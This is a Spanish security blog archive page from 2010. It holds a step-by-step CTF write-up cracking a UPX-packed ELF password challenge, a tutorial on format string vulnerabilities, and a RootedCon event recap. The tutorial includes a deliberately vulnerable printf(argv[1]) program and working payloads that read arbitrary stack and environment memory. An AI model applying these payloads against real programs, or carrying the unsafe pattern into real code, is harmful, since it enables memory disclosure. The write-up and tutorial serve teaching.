Archivo

Archivo para 25 marzo 2010

Solución al Gipuzkoa Encounter 2010 Hack-It! (ELF)

25/03/2010 7 comentarios

El pasado fin de semana, coincidiendo con la RootedCon, se celebraba en Guipúzcoa este encuentro anual que, entre los eventos que presenta incluye un pequeño CTF. Parte de ese CTF consiste en obtener el password para autenticarse en dos binarios, un ELF y un PE. Estos binarios fueron creados por la gente de morenops.com, y podéis descargarlos desde aquí. No os recomiendo que leais los comentarios porque dan muchas pistas sobre la solución.

AVISO: Voy a poner la solución al reto paso a paso, tratando de que sea un solucionario completo para que tanto la gente con pocos conocimientos del tema como los más expertos puedan seguirlo. No obstante, lo ideal es que trates de resolverlo por tu cuenta, y que si te atascas continues leyendo. Dicho queda.

Método para el ELF

En primer lugar decir que esta es sólo una posible solución, existen otras formas de solucionar este reto, y estaré encantado de que las dejéis en los comentarios para dar con la mejor solución. Tras descargar el binario y darle permisos de ejecución, podemos tratar de obtener algo de información acerca del mismo con la orden file.

adrian@Andromeda:~$ file tolosa2010_unix
tolosa2010_unix: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped

Con esto ya sabemos que, puesto que está enlazado de manera estática, un ltrace del programa no nos dará ninguna información. Sin embargo, no está stripeado, por lo que es posible que encontremos símbolos de depuración en el programa. El siguiente paso es darle permisos de ejecución y ejecutarlo un par de veces para hacernos una idea inicial de cómo funciona.

binario en funcionamiento

Probando lo básico

Bueno, está claro que no vale cualquier clave, ni una clave en blanco, ni una clave demasiado larga. Así que nos va a tocar currar un poco más. Lo siguiente que a mí se me ocurre es utilizar strace para averiguar qué llamadas al sistema realiza y qué señales está recibiendo el programa.


adrian@Andromeda:~/pre$ strace ./tolosa2010_unix
execve("./tolosa2010_unix", ["./tolosa2010_unix"], [/* 35 vars */]) = 0
[ Process PID=5364 runs in 32 bit mode. ]
old_mmap(0xc40000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xc40000) = 0xc40000
readlink("/proc/self/exe", "/home/adrian/pre/tolosa2010_unix", 4096) = 32
old_mmap(0x8048000, 493385, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x8048000
mprotect(0x8048000, 493382, PROT_READ|PROT_EXEC) = 0
old_mmap(0x80c1000, 3843, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x78000) = 0x80c1000
mprotect(0x80c1000, 3840, PROT_READ|PROT_WRITE) = 0
old_mmap(0x80c2000, 6764, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x80c2000
brk(0x80c4000)                          = 0x9f2a000
munmap(0xc01000, 262144)                = 0
uname({sys="Linux", node="Andromeda", ...}) = 0
brk(0)                                  = 0x9f2a000
brk(0x9f2acb0)                          = 0x9f2acb0
set_thread_area(0xffac203c)             = 0
brk(0x9f4bcb0)                          = 0x9f4bcb0
brk(0x9f4c000)                          = 0x9f4c000
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7775000
write(1, "\n", 1
)                       = 1
write(1, "\t[Gipuzkoa Encounter 2010 - Hack"..., 38    [Gipuzkoa Encounter 2010 - Hack It!]
) = 38
write(1, "\n", 1
)                       = 1
ptrace(PTRACE_TRACEME, 0, 0x1, 0)       = -1 EPERM (Operation not permitted)
write(1, "\tPassw0rd: \tomgz0r debugger? bye"..., 40    Passw0rd:     omgz0r debugger? bye bye...
) = 40
exit_group(0)                           = ?

adrian@Andromeda:~/pre$

Sin embargo parece que por aquí tampoco llegamos a ninguna parte. Vemos que realiza alguna reserva de memoria, que llama a uname y a write para mostrar el mensaje de bienvenida. Después hace una llamada a ptrace y nos escribe un mensaje: “Passw0rd:     omgz0r debugger? bye bye..”. Al tratar de tracear el programa y ya estar siendo traceado por nosotros, ptrace devuelve un error y el programa finaliza. Vamos a tratar de utilizar gdb para seguir un poco el funcionamiento interno del programa, con la idea de averiguar qué está pasando y de tratar de localizar la función que comprueba si una contraseña es válida o no.


adrian@Andromeda:~/pre$ gdb -q tolosa2010_unix
Leyendo símbolos desde /home/adrian/pre/tolosa2010_unix...(no debugging symbols found)...hecho.
(gdb) list
No hay tabla de símbolos cargada. Use la orden "file".
(gdb) br main
No hay tabla de símbolos cargada. Use la orden "file".
Make breakpoint pending on future shared library load? (y o [n]) y
Punto de interrupción 1 (main) pendiente.
(gdb) run
Starting program: /home/adrian/pre/tolosa2010_unix

 [Gipuzkoa Encounter 2010 - Hack It!]

 Passw0rd:     omgz0r debugger? bye bye...

Program exited normally.
(gdb) disass main
No symbol table is loaded.  Use the "file" command.

Otra cosa que falla. Está claro que al binario le pasa algo, ya que aparte de evitar la depuración, no nos encuentra el punto de entrada del binario en main. Llegados a este punto (los lectores avezados lo habrán visto antes) cabe pensar que el binario tiene algún tipo de cifrado o empaquetado. Volcaremos el binario, ya sea en hexadecimal con objdump o buscando solo las cadenas de texto con strings en busca de alguna pista como la que se ve a continuación:


adrian@Andromeda:~/pre$ hexdump -C tolosa2010_unix | head
00000000  7f 45 4c 46 01 01 01 03  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  60 f1 c3 00 34 00 00 00  |........`...4...|
00000020  00 00 00 00 00 00 00 00  34 00 20 00 02 00 28 00  |........4. ...(.|
00000030  00 00 00 00 01 00 00 00  00 00 00 00 00 10 c0 00  |................|
00000040  00 10 c0 00 68 e9 03 00  68 e9 03 00 05 00 00 00  |....h...h.......|
00000050  00 10 00 00 01 00 00 00  6c 0a 00 00 6c 3a 0c 08  |........l...l:..|
00000060  6c 3a 0c 08 00 00 00 00  00 00 00 00 06 00 00 00  |l:..............|
00000070  00 10 00 00 4d a8 73 e7  55 50 58 21 08 08 0d 0c  |....M.s.UPX!....|
00000080  00 00 00 00 5a a9 08 00  5a a9 08 00 d4 00 00 00  |....Z...Z.......|
00000090  79 00 00 00 08 00 00 00  77 1f a4 f9 7f 45 4c 46  |y.......w....ELF|
adrian@Andromeda:~/pre$ strings tolosa2010_unix | head
UPX!
[]g;;
PTRh
=]<r
mnfM
F>wp
<    wD
1]>ng
FzFM
{0c;]_V

Si nos fijamos bien, encontraremos la cadena UPX!, lo que nos indica que el binario ha sido empaquetado con esta utilidad. Esto ha sido fácil, en otras ocasiones habría sido necesario detectar en el binario el código que realiza el empaquetado y tratar de deshacerlo o identificar el empaquetador. Por lo tanto instalaremos el packer, bien desde su web, bien desde el sistema de paquetes de la distribución que utilicemos. Una vez instalado procederemos a desempaquetar el binario.


adrian@Andromeda:~/pre$ upx -d tolosa2010_unix
 Ultimate Packer for eXecutables
 Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007
UPX 3.01        Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 31st 2007

 File size         Ratio      Format      Name
 --------------------   ------   -----------   -----------
 567642 <-    256396   45.17%  linux/elf386   tolosa2010_unix

Unpacked 1 file.

Ahora que hemos desempaquetado el binario podemos retomar la idea de depurarlo y tratar de localizar el punto en el que verifica la clave. Vamos a ver qué sucede:


drian@Andromeda:~/pre$ gdb -q tolosa2010_unix
Leyendo símbolos desde /home/adrian/pre/tolosa2010_unix...hecho.
(gdb) br main
Punto de interrupción 1 at 0x80482c9
(gdb) run
Starting program: /home/adrian/pre/tolosa2010_unix
Breakpoint 1, 0x080482c9 in main ()
Idioma actual:  auto
The current source language is "auto; currently asm".
(gdb) list
1    /tmp/cc1PTP7g.s: No existe el fichero ó directorio.
 in /tmp/cc1PTP7g.s
(gdb) n
Single stepping until exit from function main,
which has no line number information.

 [Gipuzkoa Encounter 2010 - Hack It!]

 Passw0rd:     omgz0r debugger? bye bye...

Era de esperar que sucediera esto, pero ahora encuentra los símbolos, lo cual está bien, ya que nos va a permitir hacer esto:


(gdb) disass main
Dump of assembler code for function main:
0x080482bb <main+0>:    lea    ecx,[esp+0x4]
0x080482bf <main+4>:    and    esp,0xfffffff0
0x080482c2 <main+7>:    push   DWORD PTR [ecx-0x4]
0x080482c5 <main+10>:    push   ebp
0x080482c6 <main+11>:    mov    ebp,esp
0x080482c8 <main+13>:    push   ecx
0x080482c9 <main+14>:    sub    esp,0x14
0x080482cc <main+17>:    mov    DWORD PTR [esp],0x80a4f08
0x080482d3 <main+24>:    call   0x8048f70 <puts>
0x080482d8 <main+29>:    mov    DWORD PTR [esp],0x80a4f2f
0x080482df <main+36>:    call   0x8048d80 <printf>
0x080482e4 <main+41>:    call   0x8048273 <check>
0x080482e9 <main+46>:    mov    DWORD PTR [esp],0x80c3840
0x080482f0 <main+53>:    call   0x8048db0 <gets>
0x080482f5 <main+58>:    mov    DWORD PTR [esp],0xa
0x080482fc <main+65>:    call   0x8049110 <putchar>
0x08048301 <main+70>:    mov    DWORD PTR [esp],0x80c3840
0x08048308 <main+77>:    call   0x8048210 <balioztau>
0x0804830d <main+82>:    test   eax,eax
0x0804830f <main+84>:    je     0x804831f <main+100>
0x08048311 <main+86>:    mov    DWORD PTR [esp],0x80a4f3c
0x08048318 <main+93>:    call   0x8048f70 <puts>
0x0804831d <main+98>:    jmp    0x804832b <main+112>
0x0804831f <main+100>:    mov    DWORD PTR [esp],0x80a4f46
0x08048326 <main+107>:    call   0x8048f70 <puts>
0x0804832b <main+112>:    add    esp,0x14
0x0804832e <main+115>:    pop    ecx
0x0804832f <main+116>:    pop    ebp
0x08048330 <main+117>:    lea    esp,[ecx-0x4]
0x08048333 <main+120>:    ret
End of assembler dump.

Al principio hace unas llamadas a printf y puts para mostrar el mensaje inicial en la terminal, y despúes (main+41) realiza una llamada a la función check. Tras esto, lee lo que le pasamos como clave (gets), imprime un salto de línea (putchar 0xa) y llama a una función “balioztau” con un argumento, que es donde ha almacenado lo que hemos tecleado. En función del resultado de esa función (main+84) saltará a nuestro FAIL o al mensaje de éxito. Todos los valores de memoria que aparecen contienen las cadenas que maneja el programa, podemos verlo rápidamente:

(gdb) x/s 0x80a4f08
0x80a4f08:     "\n\t[Gipuzkoa Encounter 2010 - Hack It!]"
(gdb) x/s 0x80a4f2f
0x80a4f2f:     "\n\tPassw0rd: "
(gdb) x/s 0x80c3840
0x80c3840 <pasahitza>:     ""
(gdb) x/s 0x80a4f3c
0x80a4f3c:     "\tSuccess!"
(gdb) x/s 0x80a4f46
0x80a4f46:     "\t#EPIC FAIL"

Tal y como yo lo veo, una vez aquí tenemos dos opciones: tratar de saltarnos la protección antidepuración para poder examinar la memoria en ejecución y localizar el password válido, o desensamblar la función balioztau y comprender de manera estática qué comprobaciones hace sobre el password. Ambos métodos son muy interesantes, pero de momento expondremos el segundo, explicando además una técnica utilizada para la realización de keygens y para la ingeniería inversa en general. Veamos el código de la función balioztau:


(gdb) disass balioztau
Dump of assembler code for function balioztau:
0x08048210 <balioztau+0>:    push   ebp
0x08048211 <balioztau+1>:    mov    ebp,esp
0x08048213 <balioztau+3>:    sub    esp,0x14
0x08048216 <balioztau+6>:    mov    DWORD PTR [ebp-0x4],0x0
0x0804821d <balioztau+13>:    mov    BYTE PTR ds:0x80c17de,0x0
0x08048224 <balioztau+20>:    mov    DWORD PTR [ebp-0x8],0x0
0x0804822b <balioztau+27>:    jmp    0x8048261 <balioztau+81>
0x0804822d <balioztau+29>:    mov    edx,DWORD PTR [ebp-0x8]
0x08048230 <balioztau+32>:    mov    eax,edx
0x08048232 <balioztau+34>:    shr    eax,0x1f
0x08048235 <balioztau+37>:    add    eax,edx
0x08048237 <balioztau+39>:    sar    eax,1
0x08048239 <balioztau+41>:    mov    DWORD PTR [ebp-0x4],eax
0x0804823c <balioztau+44>:    mov    eax,DWORD PTR [ebp-0x8]
0x0804823f <balioztau+47>:    movzx  edx,BYTE PTR [eax+0x80c17c8]
0x08048246 <balioztau+54>:    mov    eax,DWORD PTR [ebp-0x4]
0x08048249 <balioztau+57>:    movzx  eax,BYTE PTR [eax+0x80c3840]
0x08048250 <balioztau+64>:    cmp    dl,al
0x08048252 <balioztau+66>:    je     0x804825d <balioztau+77>
0x08048254 <balioztau+68>:    mov    DWORD PTR [ebp-0x14],0x0
0x0804825b <balioztau+75>:    jmp    0x804826e <balioztau+94>
0x0804825d <balioztau+77>:    add    DWORD PTR [ebp-0x8],0x2
0x08048261 <balioztau+81>:    cmp    DWORD PTR [ebp-0x8],0x16
0x08048265 <balioztau+85>:    jle    0x804822d <balioztau+29>
0x08048267 <balioztau+87>:    mov    DWORD PTR [ebp-0x14],0x1
0x0804826e <balioztau+94>:    mov    eax,DWORD PTR [ebp-0x14]
0x08048271 <balioztau+97>:    leave
0x08048272 <balioztau+98>:    ret
End of assembler dump.

Con el código delante el proceso consiste en leerlo e ir anotándolo con comentarios hasta que se haya comprendido su funcionamiento. Lo primero será averiguar qué hay en la memoria en 0x80c17c8, puesto que en 0x80c3840 ya sabemos que se encuentra lo que hemos introducido en la terminal. Os recomiendo que tratéis de hacer vosotros la anotación antes de leer la mía. Tras un par de pasadas anotando deberíais tener unas anotaciones similares a estas:

balioztau anotada

anotaciones de balioztau

Os las subo también como fichero adjunto, porque ponerlas en forma de código quedaba descolocado debido al tamaño de la caja de texto. Con esto debería ser evidente qué está realizando la función y cual es el password que debemos introducir. Aún así, cuando se trata de conseguir un keygen o de hacer más claro el problema (esta función no es especialmente complicada) se procede a traducir el código a C. En primer lugar una traducción directa del ensamblador, y finalmente se refactoriza el código para obtener algo más parecido a lo que escribiría un programador. La traducción directa a C desde ese código podría ser algo como esto (la función main ha sido añadida por comodidad y para que el programa sea usable):


#include <stdio.h>
#include <stdlib.h>

char pass_valido[20] = "t_0/l=0(s?@ah:40c7k#";

int balioztau(char* pass_usuario){

unsigned int var1,var2,ret;
unsigned char *pp,*pu;
var1=0;
var2=0;
ret = 0;

pp = pass_valido;
pu = pass_usuario;

do{
var1 = var1 >>> 31; // var1 = 0;
var1 = var2 + var1;
var1 = var2/2;

if (*(pu+var1) == *(pp+var2)){
 var2 = var2 +2;
}else{
 ret =0;
 return ret;
}

} while (var2 <= 20);

ret = 1;
return ret;
}

int main(int argc, char* argv[]){
 if (argc != 2){
 printf("Uso: %s <password a comprobar>\n",argv[0]);
 exit(0);
 }
 if (balioztau(argv[1])){
 printf("WIN\n");
 }else{
 printf("FAIL\n");
 }
return 0;
}

Aquí se ve mejor que el funcionamiento consiste en recorrer la cadena en memoria (pass_valido) de dos en dos e ir comparándola con lo que ha introducido el usuario (recorrido de uno en uno). Por lo tanto, el caracter en la posición 0 del usuario se validará contra el 0 de la password, el primero del usuario contra el segundo de la password, y así hasta el final. Por tanto la password para el programa es “t0l0s@h4ck“, como se muestra a continuación:


adrian@Andromeda:~/pre$ ./tolosa2010_unix

 [Gipuzkoa Encounter 2010 - Hack It!]

 Passw0rd: t0l0s@h4ck

 Success!
adrian@Andromeda:~/pre$ ./a.out
Uso: ./a.out <password a comprobar>
adrian@Andromeda:~/pre$ ./a.out hola
FAIL
adrian@Andromeda:~/pre$ ./a.out t0l0s@h4ck
WIN

Queda como tarea vuestra pasar el código C a algo más habitual, convertir el while en un for, eliminar las variables sobrantes, los desplazamientos extraños, etc. En otra entrada veremos cómo solucionar el binario de windows, y quizá cómo solucionar este mismo parcheando el binario. Si tenéis cualquier duda o aportación ya sabéis ;)

Categorías:Reverse, wargame Etiquetas: ,

Exploitation: Format Strings I

Este tipo de vulnerabilidad se debe al funcionamiento interno de las funciones de la familia printf, que junto a un uso inadecuado de las mismas puede dar lugar a la lectura y escritura de posiciones arbitrarias de memoria. Por desgracia para el atacante (o por suerte para el programador) este tipo de fallo es muy fácil de identificar en una aplicación. Cualquier persona que lea el código de un programa o cualquier herramienta de análisis de código encontrará y solucionará estos problemas, por lo que es difícil que los encontremos en la vida real. Recordad lo que comentábamos hacia el final de la entrada de Conocimientos previos II sobre el funcionamiento de printf. Si os acordáis, la función printf recorre la cadena de texto y la va mostrando por pantalla, hasta que encuentra un caracter de formato, en ese momento, accede a la pila (con el desplazamiento adecuado) para localizar ese argumento y sustituirlo en la posición del especificador de formato. Veamos un ejemplo:


adrian@Andromeda-virt:~/exploiting$ gdb a.out -q
Leyendo símbolos desde /home/adrian/exploiting/a.out...hecho.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <main+0>:    push   ebp
0x080483e5 <main+1>:    mov    ebp,esp
0x080483e7 <main+3>:    and    esp,0xfffffff0
0x080483ea <main+6>:    sub    esp,0x10
0x080483ed <main+9>:    mov    eax,0x80484d0
0x080483f2 <main+14>:    mov    DWORD PTR [esp+0x4],0xd
0x080483fa <main+22>:    mov    DWORD PTR [esp],eax
0x080483fd <main+25>:    call   0x804831c <printf@plt>
0x08048402 <main+30>:    mov    eax,0x0
0x08048407 <main+35>:    leave
0x08048408 <main+36>:    ret
End of assembler dump.
(gdb) list
1    #include <stdio.h>
2
3    int main(int argc, char* argv[]){
4        printf("Esto es un trece %d\n",13);
5        return 0;
6    }
(gdb) br 4
Punto de interrupción 1 at 0x80483ed: file printf.c, line 4.
(gdb) run
Starting program: /home/adrian/exploiting/a.out

Breakpoint 1, main (argc=1, argv=0xbffff534) at printf.c:4
4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483f2    4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fa    4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fd    4        printf("Esto es un trece %d\n",13)
(gdb) x/16wx $sp
0xbffff46c:    0x08048402    0x080484d0    0x0000000d    0x0804842b
0xbffff47c:    0x00e63ff4    0x08048420    0x00000000    0xbffff508
0xbffff48c:    0x00d39b56    0x00000001    0xbffff534    0xbffff53c
0xbffff49c:    0xb7fff858    0xbffff4f0    0xffffffff    0x00778ff4
(gdb) x/s 0x080484d0
0x80484d0:     "Esto es un trece %d\n"
(gdb) p 0x0000000d
$1 = 13
(gdb) c
Continuando.
Esto es un trece 13

Program exited normally.

En el desensamblado podemos ver como al preparar la llamada a printf (main+0 a main+22) se coloca en la pila la dirección de la cadena “Esto es un trece\n” (0x080484d0) y el valor 13 (0xd) puesto que son argumentos de la función a llamar. Justo al entrar en la función printf, examinando la pila vemos la dirección de retorno, seguida de la dirección de la cadena y el valor 13. Sabiendo cómo funciona printf, podemos aventurar que busca el valor para colocar en lugar del especificador de formato (el valor para sustituir el %d) en la posición siguiente de la pila. Si hubiera un segundo valor que colocar, lo buscaría en la siguiente posición, y así sucesivamente. Es decir, que según interpreta printf, la pila tiene la siguiente pinta:

printf_stack

Pila interpretada según printf

El problema viene cuando se utiliza printf de modo inadecuado sobre una variable controlada por el usuario. Estoy seguro que todos conocéis la utilidad echo de linux. Imaginad una primera aproximación a la misma, sin que reciba argumentos adicionales. Simplemente recibe una cadena y la muestra por pantalla seguida de un salto de línea. Algo así:


#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[]){
 printf(argv[1]);
 printf("\n");
 return 0;
}

No parece nada raro. Bueno sí, un poco cutre, pero nos sirve para el ejemplo. En principio esta aplicación funciona como cabría esperar, le das una cadena y la muestra por pantalla.


adrian@Andromeda-virt:~/exploiting$ ./fstrings hola
hola
adrian@Andromeda-virt:~/exploiting$ ./fstrings holaaaaaaa!
holaaaaaaa!
adrian@Andromeda-virt:~/exploiting$ ./fstrings

adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "A"x200')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA

Recordando lo que comentamos un poco más arriba, si printf encontrase un especificador de formato (%x por ejemplo) en la cadena que trata de imprimir, asumirá que el argumento que debe colocar en esa posición está en la posición de memoria siguiente a la de la cadena en sí, ¿no? Vamos a probar.


adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings
Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    and    esp,0xfffffff0
0x0804841a <main+6>:    sub    esp,0x10
0x0804841d <main+9>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048420 <main+12>:    add    eax,0x4
0x08048423 <main+15>:    mov    eax,DWORD PTR [eax]
0x08048425 <main+17>:    mov    DWORD PTR [esp],eax
0x08048428 <main+20>:    call   0x8048350 <printf@plt>
0x0804842d <main+25>:    mov    DWORD PTR [esp],0xa
0x08048434 <main+32>:    call   0x8048330 <putchar@plt>
0x08048439 <main+37>:    mov    eax,0x0
0x0804843e <main+42>:    leave
0x0804843f <main+43>:    ret
End of assembler dump.
(gdb) br *0x08048428
Punto de interrupción 1 at 0x8048428: file fstrings.c, line 5.
(gdb) run hola.%x
Starting program: /home/adrian/exploiting/fstrings hola.%x

Breakpoint 1, 0x08048428 in main (argc=2, argv=0xbffff534) at fstrings.c:5
5        printf(argv[1]);
(gdb) si
0x08048350 in printf@plt ()
(gdb) x/16wx $sp
0xbffff46c:    0x0804842d    0xbffff6b3    0x00732d20    0x0804845b
0xbffff47c:    0x00584ff4    0x08048450    0x00000000    0xbffff508
0xbffff48c:    0x0045ab56    0x00000002    0xbffff534    0xbffff540
0xbffff49c:    0xb7fff858    0xbffff4f0    0xffffffff    0x00740ff4
(gdb) x/s 0xbffff6b3
0xbffff6b3:     "hola.%x"
(gdb) c
Continuando.
hola.732d20

Program exited normally.

¿Qué está pasando aquí? Que tal y como hemos ejecutado el programa, la llamada printf(argv[1]) se ha transformado en printf(“hola.%x”). Cuando la función recorre la cadena, se topa con el especificador de formato (%x) y busca el valor a reemplazar en la posición de memoria que sigue a la cadena (0x00732d20). En esa posición debería estar el segundo argumento de la función, si se hubiera invocado correctamente. O sea que parece que podemos leer posiciones de memoria que se encuentran tras nuestra cadena en la pila. Alguien estará pensando “¡Oye! tú dijiste leer posiciones arbitrarias!”, y tendrá razón. Si hacemos un poco memoria, recordaremos que los argumentos de las funciones están en la pila, y que de hecho main es una función, por lo que sus argumentos (argv[1]) se encontrarán en la pila, ¿no? Esto quiere decir que la cadena que le pasemos a main se encontrará en la pila. Vamos a ver dónde.

adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings
Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho.
(gdb) list
1    #include <string.h>
2    #include <stdio.h>
3
4    int main(int argc, char* argv[]){
5        printf(argv[1]);
6        printf("\n");
7        return 0;
8    }
(gdb) br 5
Punto de interrupción 1 at 0x804841d: file fstrings.c, line 5.
(gdb) run $(perl -e 'print "%08x."x180')
Starting program: /home/adrian/exploiting/fstrings $(perl -e 'print "%08x."x180')
Breakpoint 1, main (argc=2, argv=0xbffff1b4) at fstrings.c:5
5        printf(argv[1]);
(gdb) p $sp
$1 = (void *) 0xbffff0f0
(gdb) p argv[1]
$2 0xbffff335
"%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x."...
(gdb)

Esto debería darnos alguna idea. Desde dentro de la función printf, si examinamos suficientes valores de la pila toparemos con la propia cadena. Recordad que en los ejemplos anteriores lo que se pasaba a printf era un “puntero” (la dirección de memoria 0xbffff335) como primer argumento (la cadena). ¿Qué podemos hacer con esto? Pues, si utilizamos un especificador de formato que use una indirección (%s o %n, recordad la tabla) podremos leer cualquier posición de memoria. Vamos a hacer una prueba, que es más fácil verlo que contarlo:

adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "AAAA" . ".%08x"x142') | grep 4141
AAAA.00875d20.0804845b.00250ff4.08048450.00000000.bffff288.00126b56.00000002.bffff2b4
.bffff2c0.b7fff858.bffff270.ffffffff.00883ff4.08048270.00000001.bffff270.00875326.00884828
.b7fffb40.00250ff4.00000000.00000000.bffff288.993feefe.420df981.00000000.00000000.00000000
.00000002.08048360.00000000.0087afc0.00126a7b.00883ff4.00000002.08048360.00000000.08048381
.08048414.00000002.bffff2b4.08048450.08048440.00875d20.bffff2ac.00884670.00000002.bffff411
.bffff41c.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5
.bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0
.bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07
.bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.009f8420.00000021
.009f8000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004
.00000020.00000005.00000008.00000007.00868000.00000008.00000000.00000009.08048360.0000000b
.000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019
.bffff3fb.0000001f.bffffff1.0000000f.bffff40b.00000000.00000000.00000000.00000000.00000000
.e9000000.e7f63d69.40c0b36d.ce3292eb.69db3249.00363836.662f2e00.69727473.0073676e.41414141
.3830252e.30252e78.252e7838

adrian@Andromeda-virt:~/exploiting$ ./getenvaddr HOME ./fstrings
HOME will be at 0xbffffe5d
adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x5d\xfe\xff\xbf" . ".%08x"x140 . ".%s.%08x.%08x.%08x"')
]���.00f60d20.0804845b.00269ff4.08048450.00000000.bffff278.0013fb56.00000002.bffff2a4
.bffff2b0.b7fff858.bffff260.ffffffff.00f6eff4.08048270.00000001.bffff260.00f60326.00f6f828
.b7fffb40.00269ff4.00000000.00000000.bffff278.f98c7cd3.219e4bac.00000000.00000000.00000000
.00000002.08048360.00000000.00f65fc0.0013fa7b.00f6eff4.00000002.08048360.00000000.08048381
.08048414.00000002.bffff2a4.08048450.08048440.00f60d20.bffff29c.00f6f670.00000002.bffff409
.bffff414.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5
.bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0
.bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07
.bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.00d25420.00000021
.00d25000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004
.00000020.00000005.00000008.00000007.00f53000.00000008.00000000.00000009.08048360.0000000b
.000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019
.bffff3eb.0000001f.bffffff1.0000000f.bffff3fb.00000000.00000000.00000000.00000000.00000000
.cc000000.3efb00fa.7fd60334.c9d9f0f8.696420e7.00363836.00000000.00000000.662f2e00.69727473
.0073676e./home/adrian.3830252e.30252e78.252e7838

Al principio hemos utilizado "AAAA" para localizar el comienzo en la pila de la cadena que le introducimos al programa (el grep era para que lo coloreara, pero parece que wordpress no lo hace como la shell). Ahora viene un proceso manual de ajuste, sabemos que la primera palabra de nuestra cadena se coloca alrededor de 142 posiciones por debajo del puntero de pila. Si en la posición 142 de nuestra cadena colocamos un %s (string) tratará de leer el valor almacenado en "AAAA". Si hacemos esto probablemente obtendremos una violación de segmento, por acceder a una posición inválida. Sin embargo, si localizamos la dirección de memoria de la variable HOME (cuyo valor es "/home/adrian") y la sustituimos por "AAAA", la cadena que imprimirá será el valor de $HOME, que es "/home/adrian" como se muestra en la última ejecución.

De este modo hemos conseguido leer posiciones arbitrarias de memoria y podemos obtener información muy valiosa del programa en ejecución. En la próxima entrada profundizaremos un poco más y explicaremos cómo podemos escribir posiciones arbitrarias de memoria, aunque seguro que alguno ya se lo huele.

Categorías:exploiting, hacking Etiquetas: , ,

RootedCon 2010 finalizada

21/03/2010 4 comentarios

Pues es una lástima pero es cierto. Ayer finalizó la RootedCon 2010 tras tres días de ponencias más que interesantes y de ver a gente conocida, conocer gente nueva y poner caras a los que antes eran “entes” de internet. La valoración que me he llevado de la conferencia es muy muy positiva y, si el año que viene repiten (anunciaron su intención de llevar a cabo la RootedCon 2011) me pasaré por allí sin dudarlo.

Hubo tres charlas que quiero resaltar porque me parecieron realmente interesantes, a saber:

  • Liberando un 0day en la RootedCon, de Rubén Santamarta
  • Explotación Nativa en Android, de Javier Moreno y Eloi Sanfélix
  • Explotación y Mitigaciones: EMET, de Fermín J. Serna

Hubo muchas más charlas de gran calidad, o muy interesantes, pero si me tuviera que quedar con tres, creo que sería con estas tres. Si quereís más información, José A. Guash ha hecho un seguimiento estupendo en SbD (Día 1, Día 2, Día 3). Además, la conferencia salió en la tele en cuatro, antena 3 y comentaban que en más sitios. Aquí tenéis el video de cuatro (anda que vaya montaje).

[+] Reportaje Antena3: http://www.antena3noticias.com/PortalA3N/ciencia-y-tecnologia/Las-grandes-empresas-contratan-hackers-para-protegerse/10220625

Categorías:eventos, seguridad Etiquetas: , ,

Todo kernel tiene sus cosas

20/03/2010 2 comentarios

